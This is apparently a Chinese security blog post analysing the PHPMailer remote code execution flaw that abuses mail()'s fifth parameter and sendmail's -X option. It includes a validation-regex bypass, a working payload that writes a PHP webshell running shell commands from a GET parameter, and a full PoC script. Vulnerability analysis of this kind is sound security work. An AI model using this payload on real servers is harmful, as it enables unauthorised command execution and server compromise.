cdxy.me
Footprints on Cyber Security and Python

漏洞出来两天仍然没找到什么分析,就自己看了下。 本文首先介绍mail函数造成RCE的原理,然后分析PHPMailer源码并给出通用exp

Exploit php mail()

mail函数官方文档

其中第五个参数additional_parameters可以接受shell参数,描述如下:

additional_parameters (optional)
    The additional_parameters parameter can be used to pass an additional parameter to the program configured to use when sending mail using the sendmail_path configuration setting. For example, this can be used to set the envelope sender address when using sendmail with the -f sendmail option.

我们通过man sendmail可以查看该位置支持的shell参数,其中-X参数可以将邮件内容写入指定日志文件:

-X logfile
              Log all traffic in and out of mailers in the indicated log file.
              This  should  only be used as a last resort for debugging mailer
              bugs.  It will log a lot of data very quickly.

这样一来,如果mail()第五个参数可控,我们就可以利用-X参数将含有邮件内容的日志写入到web路径中完成RCE。

PoC

模拟通过mail函数的第五个参数上传webshell的过程:

<?php
$message = '<?php phpinfo();?>';
mail('i@cdxy.me','subject',$message,NULL,'-X /var/www/html/test/shell.php');

?>

执行之后,php代码写入日志文件

pic

完成RCE

pic

注:-X参数写文件是追加模式,利用时应注意

PHPMailer源码分析

patch

pic

用这个官方用例走一遍流程

<?php
/**
 * This example shows sending a message using a local sendmail binary.
 */

require '../PHPMailerAutoload.php';

//Create a new PHPMailer instance
$mail = new PHPMailer;
// Set PHPMailer to use the sendmail transport
$mail->isSendmail();
//Set who the message is to be sent from
$mail->setFrom('from@example.com', 'First Last');
//Set an alternative reply-to address
$mail->addReplyTo('replyto@example.com', 'First Last');
//Set who the message is to be sent to
$mail->addAddress('whoto@example.com', 'John Doe');
//Set the subject line
$mail->Subject = 'PHPMailer sendmail test';
//Read an HTML message body from an external file, convert referenced images to embedded,
//convert HTML into a basic plain-text alternative body
$mail->msgHTML(file_get_contents('contents.html'), dirname(__FILE__));
//Replace the plain text body with one created manually
$mail->AltBody = 'This is a plain-text message body';
//Attach an image file
$mail->addAttachment('images/phpmailer_mini.png');

//send the message, check for errors
if (!$mail->send()) {
    echo "Mailer Error: " . $mail->ErrorInfo;
} else {
    echo "Message sent!";
}

用户可控输入($address)首先在$mail->setFrom()进行第一次检验

if (($pos = strrpos($address, '@')) === false or
            (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
            !$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (setFrom) $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $this->From = $address;
        $this->FromName = $name;
        if ($auto) {
            if (empty($this->Sender)) {
                $this->Sender = $address;
            }
        }

检验通过后,存入$this->Sender

用例末尾的send函数调用链: $mail->send() -> $this->postSend() -> $this->mailSend()

之前可控的$this->Sender被处理之后带入$this->mailPassthru()

$params = sprintf('-f%s', $this->Sender);

$result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);

最终进入mail()第五个参数触发RCE

$result = @mail($to, $subject, $body, $header, $params);

Exploit

整个流程中最值得关心的是如何绕过$this->validateAddress()

这个函数在默认情况下,会根据php环境自动选择过滤方案

if (!$patternselect or $patternselect == 'auto') {
            //Check this constant first so it works when extension_loaded() is disabled by safe mode
            //Constant was added in PHP 5.2.4
            if (defined('PCRE_VERSION')) {
                //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
                if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
                    $patternselect = 'pcre8';
                } else {
                    $patternselect = 'pcre';
                }
            } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
                //Fall back to older PCRE
                $patternselect = 'pcre';
            } else {
                //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
                if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
                    $patternselect = 'php';
                } else {
                    $patternselect = 'noregex';
                }
            }
        }

其规则为:

  1. 检测到PCRE环境,使用正则;
  2. 无PCRE,使用filter_var;
return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
  1. 无PCRE且版本低于5.2.0,长度>3且包含@就可以
return (strlen($address) >= 3
    and strpos($address, '@') >= 1
    and strpos($address, '@') != strlen($address) - 1);

因此我们绕过该函数的思路:

  1. 用户重写或者手动指定了检验方法为noregex
  2. 无PCRE且php版本低于5.2.0
  3. 绕正则

其中第二条也就是这个 发布在exploit.db的PoC 的条件。

如果这样就结束了,攻击面非常有限,于是选择正面刚一波这个正则。

return (boolean)preg_match(
    '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
    '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
    '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
    '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
    '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
    '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
    '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
    '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
    '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
    $address
);

经过简单分析和一番激烈的fuzz之后,发现了一种成功引入空格的方法

"". -X/a.php @xxx

最终的payload如下:

"<?php system($_GET['p']);?>". -X/var/www/html/final.php @xxx

这里仅使用了一个setForm()的可控点,无需配合其他输入即可完成webshell上传,当然具体还要看框架怎么用。

PoC

mail.php

<?php
require '../PHPMailerAutoload.php';

$payload = "\"<?php system(\$_GET['p']);?>\". -X/var/www/html/final.php @xxx";

$mail = new PHPMailer;
$mail->setFrom($payload);
$mail->addAddress('aaa@bbb.com', 'aaa');
$mail->Subject = 'subject';
$mail->Body    = 'body';
if(!$mail->send()) {
    echo $mail->ErrorInfo;
}

可以看到php代码(图中高亮处)已经被写入文件

pic

执行id命令,输出结果在下图高亮处

pic

大规模利用仍需结合框架分析,WordPress针对该漏洞已发Patch,持续关注

ref

  • http://thehackernews.com/2016/12/phpmailer-security.html
  • https://github.com/PHPMailer/PHPMailer
  • https://www.exploit-db.com/exploits/40968/
  • https://www.saotn.org/exploit-phps-mail-get-remote-code-execution/